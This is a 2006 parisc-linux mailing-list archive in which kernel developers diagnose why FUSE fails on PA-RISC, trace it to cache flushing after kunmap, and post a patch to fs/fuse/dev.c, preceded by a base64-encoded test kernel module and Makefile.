CiAgICBwcmludGsoInRlc3RfcmVhZCAlcCAlbHUgJWxsdVxuIiwgYnVmLCAodW5zaWduZWQgbG9u
ZykgbmJ5dGVzLAogICAgICAgICAgICh1bnNpZ25lZCBsb25nIGxvbmcpICpvZmYpOwogICAgaWYg
KCEqb2ZmICYmIG5ieXRlcyA+IGhlbGxvbGVuKSB7CiAgICAgICAgcmVzID0gbXlfY29weV90b191
c2VyMihidWYsIGhlbGxvLCBoZWxsb2xlbik7CiAgICAgICAgaWYgKCFyZXMpIHsKICAgICAgICAg
ICAgKm9mZiArPSBoZWxsb2xlbjsKICAgICAgICAgICAgcmVzID0gaGVsbG9sZW47CiAgICAgICAg
fQogICAgfQogICAgcHJpbnRrKCIgIHRlc3RfcmVhZDogJWxpXG4iLCAobG9uZykgcmVzKTsKICAg
IHJldHVybiByZXM7Cn0KCnN0YXRpYyBzc2l6ZV90IHRlc3Rfd3JpdGUoc3RydWN0IGZpbGUgKmZp
bGUsIGNvbnN0IGNoYXIgX191c2VyICpidWYsCiAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6
ZV90IG5ieXRlcywgbG9mZl90ICpvZmYpCnsKICAgIHNzaXplX3QgcmVzID0gbmJ5dGVzOwogICAg
Y2hhciBoZWxsb1szMl07CiAgICBwcmludGsoInRlc3Rfd3JpdGUgJXAgJWx1ICVsbHVcbiIsIGJ1
ZiwgKHVuc2lnbmVkIGxvbmcpIG5ieXRlcywKICAgICAgICAgICAodW5zaWduZWQgbG9uZyBsb25n
KSAqb2ZmKTsKICAgIGlmICghKm9mZiAmJiBuYnl0ZXMgPCBzaXplb2YoaGVsbG8pIC0gMSkgewog
ICAgICAgIHJlcyA9IG15X2NvcHlfZnJvbV91c2VyMihoZWxsbywgYnVmLCBuYnl0ZXMpOwogICAg
ICAgIGlmICghcmVzKSB7CiAgICAgICAgICAgIGhlbGxvW25ieXRlc10gPSAnXDAnOwogICAgICAg
ICAgICBwcmludGsoIjwlcz5cbiIsIGhlbGxvKTsKICAgICAgICAgICAgKm9mZiArPSBuYnl0ZXM7
CiAgICAgICAgICAgIHJlcyA9IG5ieXRlczsKICAgICAgICB9CiAgICB9CiAgICBwcmludGsoIiAg
dGVzdF93cml0ZTogJWxpXG4iLCAobG9uZykgcmVzKTsKICAgIHJldHVybiByZXM7Cn0KCnN0YXRp
YyBzdHJ1Y3QgZmlsZV9vcGVyYXRpb25zIHRlc3Rfb3BzID0gewoJLm93bmVyCQk9IFRISVNfTU9E
VUxFLAoJLnJlYWQJCT0gdGVzdF9yZWFkLAoJLndyaXRlCQk9IHRlc3Rfd3JpdGUsCn07CgpzdGF0
aWMgaW50IHRlc3RfaW5pdCh2b2lkKQp7CiAgICBzdHJ1Y3QgcHJvY19kaXJfZW50cnkgKmVudDsK
ICAgIGVudCA9IGNyZWF0ZV9wcm9jX2VudHJ5KCJ0ZXN0IiwgU19JRlJFRyB8IDA2NjYsIHByb2Nf
cm9vdF9mcyk7CiAgICBpZiAoZW50KQogICAgICAgIGVudC0+cHJvY19mb3BzID0gJnRlc3Rfb3Bz
OwogICAgcmV0dXJuIDA7Cn0KCnN0YXRpYyB2b2lkIHRlc3RfZXhpdCh2b2lkKQp7CiAgICByZW1v
dmVfcHJvY19lbnRyeSgidGVzdCIsIHByb2Nfcm9vdF9mcyk7Cn0KCm1vZHVsZV9pbml0KHRlc3Rf
aW5pdCk7Cm1vZHVsZV9leGl0KHRlc3RfZXhpdCk7Cg==
--++----------20060316140732-041624518----------++
Content-Type: application/octet-stream; name="Makefile"
Content-Transfer-Encoding: base64

b2JqLW0gOj0gY29weXRlc3QubwoKYWxsOgoJJChNQUtFKSAtQyAvbGliL21vZHVsZXMvYHVuYW1l
IC1yYC9idWlsZCBNPWBwd2RgCgpjbGVhbjoKCXJtIC1mICoubyAqLmtvICoubW9kLmMgLiouY21k
CglybSAtcmYgLnRtcF92ZXJzaW9ucwo=
--++----------20060316140732-041624518----------++
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--++----------20060316140732-041624518----------++--



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init
	on parisc
Date: Thu, 16 Mar 2006 09:13:36 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20060316161336.GA16771__31336.3045956523$1416624586$gmane$org@colo.lackof.org>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624586 27543 80.91.229.3 (22 Nov 2014 02:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:46 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 chris@frostnet.net,
 parisc-linux@parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 16:03:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 16 Mar 2006 17:03:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38C777D6CB;
	Thu, 16 Mar 2006 09:02:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28522-09; Thu, 16 Mar 2006 09:02:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2A007D6C7;
	Thu, 16 Mar 2006 09:02:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EB8D7D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:02:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28408-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:02:50 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E7E097D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:02:50 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B0DCF495636; Thu, 16 Mar 2006 09:02:50 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 823BA494006
	for <parisc-linux@parisc-linux.org>;
	Thu, 16 Mar 2006 09:02:50 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AC869298026;
	Thu, 16 Mar 2006 09:13:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16764-05; Thu, 16 Mar 2006 09:13:36 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4143C298013; Thu, 16 Mar 2006 09:13:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YulrZDUgeSEkSb6WZHQhaXN1IGRvb4A4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25269

On Mon, Mar 13, 2006 at 12:26:34PM +0100, Miklos Szeredi wrote:
> OK.  I'm out of ideas, CC-ing parisc-linux, maybe they can help shed
> some light on this.

Miklos,
I took a quick look last week but didn't see anything obvious.
I was suspicious of the memcopy() calls to copy stuff to
user space. But willy me told those are fine if using the
result of kmap() (and then kunmap'ing when done).

In a private conversation someone else said they would
look at it on the weekend.

thanks,
grant

> 
> A short summary of the problem:
> 
> (for the full thread see:
> http://thread.gmane.org/gmane.comp.file-systems.fuse.devel/2833)
> 
> FUSE doesn't seem to work on PA-RISC (2.6.15 + pa4 patchset)
> 
> The reason appears to be that when the userspace filesystem reads from
> the FUSE device, the kernel doesn't copy any data to the userspace
> read buffer, though the correct size is returned by read().
> 
> FUSE uses a combination of get_user_pages(), kmap_atomic() and
> memcpy().  After kunmap_atomic(), flush_dcache_page() is called to
> avoid virtual aliasing.  The data in the read buffer is totally
> untouched.
> 
> Can anyone confirm the above behavior of FUSE on PA-RISC?
> 
> Any ideas why this would behave differently on PA-RISC as on other
> archs?
> 
> Thanks,
> Miklos
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Thu, 16 Mar 2006 10:58:06 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1142528286.3244.19.camel__788.053617771034$1416624587$gmane$org@mulgrave.il.steeleye.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<20060316161336.GA16771@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624587 27547 80.91.229.3 (22 Nov 2014 02:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org,
 chris@frostnet.net,
 Miklos Szeredi <miklos@szeredi.hu>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 16:58:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 16 Mar 2006 17:58:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C93DE7D6D5;
	Thu, 16 Mar 2006 09:58:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29168-09; Thu, 16 Mar 2006 09:58:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9086B7D6D6;
	Thu, 16 Mar 2006 09:58:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B414B7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:58:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29168-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:58:10 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28D3C7D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 09:58:10 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id D75B8495637; Thu, 16 Mar 2006 09:58:09 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id 4230B494006;
	Thu, 16 Mar 2006 09:58:09 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k2GGw7224077; Thu, 16 Mar 2006 11:58:07 -0500
In-Reply-To: <20060316161336.GA16771@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fPxrZF5veSEkVr6WZHQhaXN1IGRvb0Cn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25270

On Thu, 2006-03-16 at 09:13 -0700, Grant Grundler wrote:
> On Mon, Mar 13, 2006 at 12:26:34PM +0100, Miklos Szeredi wrote:
> > OK.  I'm out of ideas, CC-ing parisc-linux, maybe they can help shed
> > some light on this.
> 
> Miklos,
> I took a quick look last week but didn't see anything obvious.
> I was suspicious of the memcopy() calls to copy stuff to
> user space. But willy me told those are fine if using the
> result of kmap() (and then kunmap'ing when done).

Sorry, meant to reply earlier.

> > The reason appears to be that when the userspace filesystem reads from
> > the FUSE device, the kernel doesn't copy any data to the userspace
> > read buffer, though the correct size is returned by read().
> > 
> > FUSE uses a combination of get_user_pages(), kmap_atomic() and
> > memcpy().  After kunmap_atomic(), flush_dcache_page() is called to
> > avoid virtual aliasing.  The data in the read buffer is totally
> > untouched.

This is wrong.  A VIPT cache requires a mapping to flush on.  If you
kunmap, you've lost the mapping.  What you should do is

kmap()
operate on data
flush_kernel_dcache_page()
kunmap()

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Thu, 16 Mar 2006 18:31:17 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <E1FJwJh-00084l-00__11342.7144977779$1416624587$gmane$org@dorka.pomaz.szeredi.hu>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<20060316161336.GA16771@colo.lackof.org>
	<1142528286.3244.19.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624587 27551 80.91.229.3 (22 Nov 2014 02:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org,
 chris@frostnet.net
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 17:31:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 16 Mar 2006 18:31:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F52D7D6DA;
	Thu, 16 Mar 2006 10:31:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29640-09; Thu, 16 Mar 2006 10:31:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 143097D6D5;
	Thu, 16 Mar 2006 10:31:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F7217D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 10:31:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29565-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 10:31:30 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D87117D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 10:31:30 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 796B5495637; Thu, 16 Mar 2006 10:31:30 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by palinux.hppa (Postfix) with ESMTP id E4D7F494006;
	Thu, 16 Mar 2006 10:31:29 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FJwJh-00084l-00; Thu, 16 Mar 2006 18:31:17 +0100
In-reply-to: <1142528286.3244.19.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Thu, 16 Mar 2006 10:58:06 -0600)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rcVrZPtgeSEkX76WZHQhaXN1IGRvb4AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25271

> This is wrong.  A VIPT cache requires a mapping to flush on.  If you
> kunmap, you've lost the mapping.

Ahh, I knew I was missing something fundamental.

> What you should do is
> 
> kmap()
> operate on data
> flush_kernel_dcache_page()
> kunmap()

Chris, can you try the below patch?

Thanks,
Miklos

Index: linux/fs/fuse/dev.c
===================================================================
--- linux.orig/fs/fuse/dev.c	2006-03-13 18:26:00.000000000 +0100
+++ linux/fs/fuse/dev.c	2006-03-16 18:28:54.000000000 +0100
@@ -432,11 +432,11 @@ static void fuse_copy_init(struct fuse_c
 static void fuse_copy_finish(struct fuse_copy_state *cs)
 {
 	if (cs->mapaddr) {
-		kunmap_atomic(cs->mapaddr, KM_USER0);
-		if (cs->write) {
+		if (cs->write)
 			flush_dcache_page(cs->pg);
+		kunmap_atomic(cs->mapaddr, KM_USER0);
+		if (cs->write)
 			set_page_dirty_lock(cs->pg);
-		}
 		put_page(cs->pg);
 		cs->mapaddr = NULL;
 	}
@@ -504,6 +504,8 @@ static int fuse_copy_page(struct fuse_co
 	if (page && zeroing && count < PAGE_SIZE) {
 		void *mapaddr = kmap_atomic(page, KM_USER1);
 		memset(mapaddr, 0, PAGE_SIZE);
+		if (!cs->write)
+			flush_dcache_page(page);
 		kunmap_atomic(mapaddr, KM_USER1);
 	}
 	while (count) {
@@ -514,12 +516,12 @@ static int fuse_copy_page(struct fuse_co
 			void *mapaddr = kmap_atomic(page, KM_USER1);
 			void *buf = mapaddr + offset;
 			offset += fuse_copy_do(cs, &buf, &count);
+			if (!cs->write)
+				flush_dcache_page(page);
 			kunmap_atomic(mapaddr, KM_USER1);
 		} else
 			offset += fuse_copy_do(cs, NULL, &count);
 	}
-	if (page && !cs->write)
-		flush_dcache_page(page);
 	return 0;
 }
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Fri, 17 Mar 2006 10:13:19 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <E1FKB1L-0002jY-00__15264.4970025451$1416624587$gmane$org@dorka.pomaz.szeredi.hu>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<20060316161336.GA16771@colo.lackof.org>
	<1142528286.3244.19.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624587 27556 80.91.229.3 (22 Nov 2014 02:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:47 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org,
 chris@frostnet.net
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2006 09:13:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 17 Mar 2006 10:13:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6927C7D6E9;
	Fri, 17 Mar 2006 02:13:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02995-09; Fri, 17 Mar 2006 02:13:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A6F47D6EC;
	Fri, 17 Mar 2006 02:13:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0538F7D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:13:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02995-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:13:46 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 706597D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 02:13:46 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id EDDEC49563B; Fri, 17 Mar 2006 02:13:45 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by palinux.hppa (Postfix) with ESMTP id 7B9D449403C;
	Fri, 17 Mar 2006 02:13:45 -0700 (MST)
